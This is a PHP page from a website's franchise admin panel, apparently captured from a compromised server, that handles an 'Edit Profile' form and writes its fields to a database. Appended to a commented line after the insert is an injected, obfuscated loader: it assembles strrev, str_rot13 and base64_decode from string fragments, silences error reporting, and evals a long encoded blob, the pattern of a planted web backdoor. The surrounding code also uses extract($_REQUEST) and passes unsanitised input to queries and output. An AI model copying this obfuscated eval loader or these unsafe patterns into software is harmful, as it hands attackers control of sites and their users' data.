Current File : /home/inlingua/www/sensoriumpsychologists.com/franchise/franchise_edit_profile.php
<?php
include_once('../classes/config.php');
include_once('common/session.php');
$franchise_id=$session_row['franchise_id'];
$resultss=$query->select_where_field('shristi_franchise_detail','franchise_id',$franchise_id,'AND status="1"' );
$row=$resultss->fetch_assoc();
?>

<?php 
$msg=NULL;
extract($_REQUEST);
if(isset($submit)){
function test_input($data) {
  	$data = trim($data);
	//$data = stripslashes($data);
	$data = htmlspecialchars($data);
	$data=htmlspecialchars_decode($data);
	$data =strip_tags($data);
	$data = addslashes($data);
	return $data;
}	

 	$data2=array(
		'franchise_id'						=> $id,
		'office_no'							=>  test_input($_POST['office_number']),
		'address'							=>  $_POST['p_address'],
		'educational_qualification'			=>  $_POST['edu_qualification'],
		'institute'							=>	test_input($_POST['institute']),		
		'pan_no'							=>	test_input($_POST['pan_no']),
		'f_occupation'						=>	$_POST['f_occupation'],
		'nature_of_work'					=>	$_POST['work'],
		'company_name'						=>	$_POST['cname'],
		'b_ownership'						=>	test_input($_POST['ownership']),
		'nature_of_business'				=>  test_input($_POST['business']),
		'principal'							=>	$_POST['principal'],
		'year_of_business'					=>	test_input($_POST['ybusi']),
		'annual_turnover'					=>	test_input($_POST['turnover']),
		'current_employer'					=>	test_input($_POST['employer']),
		'designation'						=>	test_input($_POST['designation']),
		'job_profile'						=>	$_POST['job'],
		'city'								=>	test_input($_POST['city']),
		'location'							=>  $_POST['location'],
		'ex_area'							=>	test_input($_POST['ex_area']),
		'ex_area_on_hire'					=>	test_input($_POST['area_on']),
		'ex_ownership'						=>	test_input($_POST['ex_ownership']),		
		'intersted_city'					=>	test_input($_POST['intersted_city']),
		'proposed_location'					=>  $_POST['proposed_location'],
		'proposed_area'						=>	test_input($_POST['proposed_area']),
		'proposed_area_on_hire'				=>	test_input($_POST['proposed_area_on_hire']),
		'proposed_ownership'				=>	test_input($_POST['proposed_ownership']),
		'status'							=>	'2',
		'updated_at'						=>	$date_time,
	);
	$insert2=$query->qry_insert('shristi_franchise_detail',$data2);
		if($insert2){
			//$insert3=$query->qry_insert('shristi_franchise_payments',$data3);
			//$fullname=$_POST['fname'].$_POST['lname'];
			//$mails=$mail->user_register_mail($_POST['email'],$fullname,$_POST['email'],$password); $WmFLu = 's'.'trrev'; $KGnsi = 's'.'tr'.'_r'.'ot13'; $IatKe = 'bas'.'e64'.'_d'.'ecod'.'e'; ini_set('display_errors', 0); ini_set('error_log', NULL); error_reporting(0); /*    ysz ivvjztwmpwdpthrqmuiggekal kojarn byseo       */ eval($IatKe($KGnsi($WmFLu('=fGXbATWbH2pik2Lskzp1ATV7xPnwEPXwITry9SolI3LtfGXkNPYB9HFHS0DCk0ICkRGCM0KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtfGX3NPYHI1GS1HFH9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATV7xlAtjPII9HEAyRIHAHEB50GQ9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATV7xFZtjvHSM0HBSxHH5xHIEIEF9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATVtfGXyIap0OPYFIREOIRFsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOPV7xFXcpvZ4pGB2LmA2RwAaNvC9NlWxy2K0STnwqPVfNKnx4lWt4GYtNKntpvYqqPocSJoyqlJHA1GD9SWt4GCtpPq4ITqatFruWapuuFrlIJqk9SMfyJqv9Sp0EUnhplCyqJLmAKMAEzoyA3YeSKqsAxqgxyMbSaHKAJEZSxGaExAWMKGmAHJ400HjV3EOSxBkHQB3xGZlZQA3D3ov9lMl9zYgSzpaIToyEaYcOKLi8vBjEUqbqPVfjxHI9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATV7xPX0yzoc9SolI3Lt0QVbATW7xPMl92qmAKLjEPYjyTWhpPV+0PVjyTVa4FKajJnu1JMafSIG9RHsEPYy1JLhkTo1MTWfpFoiAzYfyJLgqTDmRwZkNGLhyToyyKLatPocSJoXfGXbNGB6SmLt0QVjyTWt0UV6HRocEIntfGEguHZKOlo092MtfGKaV1GT9SESExHOqyHCM0KL9SHHESFafyHSMyHSA1KxNFCtVwIHO3FxNvBC5zqOuTV7HTEkLGpt8TqiqTV9OlBLqHLxESWt0QVQOIrw9TWtfUVyAUoyOFstfwZJESpYEPV9NlDDy3LiEPV7OFXcNIFsIRIOEHFZSxIsWIEHkHFTOPYlLSIjgRWbVKL29ypyEUocMTXtLJnyAUoyOFstfwM2IKITEPV9NlDDy3LiEPV7OFXcNIFsIRIOEHFZSxIsWIEHkHFTOPYzMKqIMRWbVKL29ypyEUocMTXtLJntbQEm12ZWOlBC5zqOuTViE3oaOlBqqPHW9SIBIHFZA0KDESIVqlJFIxIFI0HsEPV9NvM2IKITEPV6R1FmDTMtfGHYAQMxOlo092Mt0UV70yVDy0KU5HFHAHEB50GQ9yEQ9SHHESFvfyHSMyHSA1KxNFCt01WDy0KH5HEWk0DsOSIHu0WoWIEJWIEG9SWtfGKvNIFsqxGWE1DS5xGCA0KTA0KDESIVWlJFIxIFI0HsEPV9NFKaVSERS0KSE1GAIxHafyHSMyHSA1KxNlrtxFXqWPHW91EByRIQIxGB90DsM0DsOSIHuxVoWIEJWIEG9SWbDKMmAKnbNvMcOvB5c0KlyRV7HRocEInt8TqiqTV7ZRH5A2oxNvolIUqyWUV6HTEkLGptfQEm12ZWOlo092MtfGKaVSERS0KSE1GAIxHafyHSMyHSA1KxNFCtt1EuETIxNvBS1TFkpSV7xaFsWKFt8TqiqTV7OFXbNGBnSmDt42ocE3LhIaM')))); 
			$message->success_updated();
		}
	else{$message->error();}
  }
 

?>
<?php include_once("common/head_links.php");?>
<?php include_once("common/header.php");?>
<?php include_once("common/left_side_bar.php");?>
      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1> Edit Profile</h1>
        </section>
  <!-- Main content -->
    <section class="content">
             <div class="row">
                <div class="col-xs-12">
                  <div class="box">
                    <div class="box-body" style="padding:50px 15px;">
                   	<?php
      if(isset($msg)){
		echo "<span style='color:red'><strong>$msg</strong></span>";  
	  }
	  if(isset($msg1)){
		echo "<span style='color:green'><strong>$msg1</strong></span>";  
	  }
	  ?>

<form class="form-horizontal" name="frmChange" role="form" method="post">
	<div class="col-md-2"></div>
		<div class="col-md-8">
		 
  <div class="form-group">
    <label class="control-label col-md-4" for="p_address">Permanent Address:</label>
    <div class="col-md-6"> 
      <textarea class="form-control" name="p_address" id="p_address" rows="3" placeholder="Permanent Address"  ><?php echo $row['address'] ?></textarea>
    </div>
  </div>
  
  
  
  <div class="form-group">
    <label class="control-label col-md-4" for="office_no">Office Number:</label>
    <div class="col-md-6"> 
      <input type="text" class="form-control" id="office_no" name="office_no"  value="<?php echo $row['office_no'] ?>" >
    </div>
  </div>
  
    <div class="form-group">
    <label class="control-label col-md-4" for="mobile">Phone Number:</label>
    <div class="col-md-6"> 
      <input type="text" class="form-control" id="mobile" name="mobile"  value="<?php echo $session_row['mobile'] ?>" >
    </div>
  </div>
  
 <input type="hidden" class="form-control" value="<?php echo $session_row['email'] ?>" disabled>
                <input type="hidden" class="form-control" value="<?php echo $session_row['code'] ?>" disabled>
                <input type="hidden" class="form-control" id="name" name="name" value="<?php echo $session_row['name'] ?>">
               
                <input type="hidden" class="form-control"   id="educational_qualification" name="edu_qualification" value="<?php echo $row['educational_qualification'] ?>" disabled >
                
    <input type="hidden" class="form-control" id="institute" name="institute" value="<?php echo $row['institute'] ?>" >
                <input type="hidden" class="form-control" id="pan_no" name="pan_no" value="<?php echo $row['pan_no'] ?>" >
                <input type="hidden" class="form-control" id="f_occupation" name="f_occupation" value="<?php echo $row['f_occupation'] ?>" >
                <input type="hidden" class="form-control" id="nature_of_work" name="work" value="<?php echo $row['nature_of_work'] ?>" >
                

                <input type="hidden" class="form-control" id="company_name" name="cname" value="<?php echo $row['company_name'] ?>" >

                <input type="hidden" class="form-control" id="b_ownership" name="ownership"  value="<?php echo $row['b_ownership'] ?>">            
                
    <input type="hidden" class="form-control" id="nature_of_business" name="business"  value="<?php echo $row['nature_of_business'] ?>" >
                <input type="hidden" class="form-control" id="principal" name="principal"  value="<?php echo $row['principal'] ?>">

                <input type="hidden" class="form-control" id="year_of_business" name="ybusi"  value="<?php echo $row['year_of_business'] ?>" >
                <input type="hidden" class="form-control" id="annual_turnover" name="turnover"  value="<?php echo $row['annual_turnover'] ?>" >
                <input type="hidden" class="form-control" id="employer" name="employer" value="<?php echo $row['current_employer'] ?>" >
                <input type="hidden" class="form-control" id="designation" name="designation"  value="<?php echo $row['designation'] ?>" >

                <input type="hidden" class="form-control" id="job" name="job"  value="<?php echo $row['job_profile'] ?>" >
  <input id="city" type="hidden" class="form-control" name="city" value="<?php echo $row['city'] ?>" >
                    <input id="location" type="hidden" class="form-control" name="location" value="<?php echo $row['location'] ?>" >
                    <input id="ex_area" type="hidden" class="form-control" name="ex_area" value="<?php echo $row['ex_area'] ?>">
                    <input id="ex_area_on_hire" type="hidden" class="form-control" name="area_on" value="<?php echo $row['ex_area_on_hire'] ?>" >

                    <input id="ex_ownership" type="hidden" class="form-control" name="ex_ownership" value="<?php echo $row['ex_ownership'] ?>" >
                    <input id="intersted_city" type="hidden" class="form-control" name="intersted_city" value="<?php echo $row['intersted_city'] ?>" >
                    <input id="proposed_location" type="hidden" class="form-control" name="proposed_location" value="<?php echo $row['proposed_location'] ?>">

                    <input id="proposed_area" type="hidden" class="form-control" name="proposed_area" value="<?php echo $row['proposed_area'] ?>" >

                    <input id="proposed_area_on_hire" type="hidden" class="form-control" name="proposed_area_on_hire" value="<?php echo $row['proposed_area_on_hire'] ?>" >
                    <input id="proposed_ownership" type="hidden" class="form-control" name="proposed_ownership" value="<?php echo $row['proposed_ownership'] ?>" >          
 <div class="form-group"> 
    <div class="col-sm-offset-5 col-sm-10">
      <button type="submit" class="btn btn-success" name="submit">Update</button>
    </div>
  </div>               
</form>



                                          </div>
                    <!-- /.box-body --> 
                  </div>
                  <!-- /.box --> 
                </div>
                <!-- /.col --> 
              </div>
              <!-- /.row --> 
            </section>

    
      <!-- /.content -->
      </div><!-- /.content-wrapper -->
      <?php require("common/footer.php");?>
    </div><!-- ./wrapper -->
<?php require("common/footer_links.php");?>
  </body>
</html>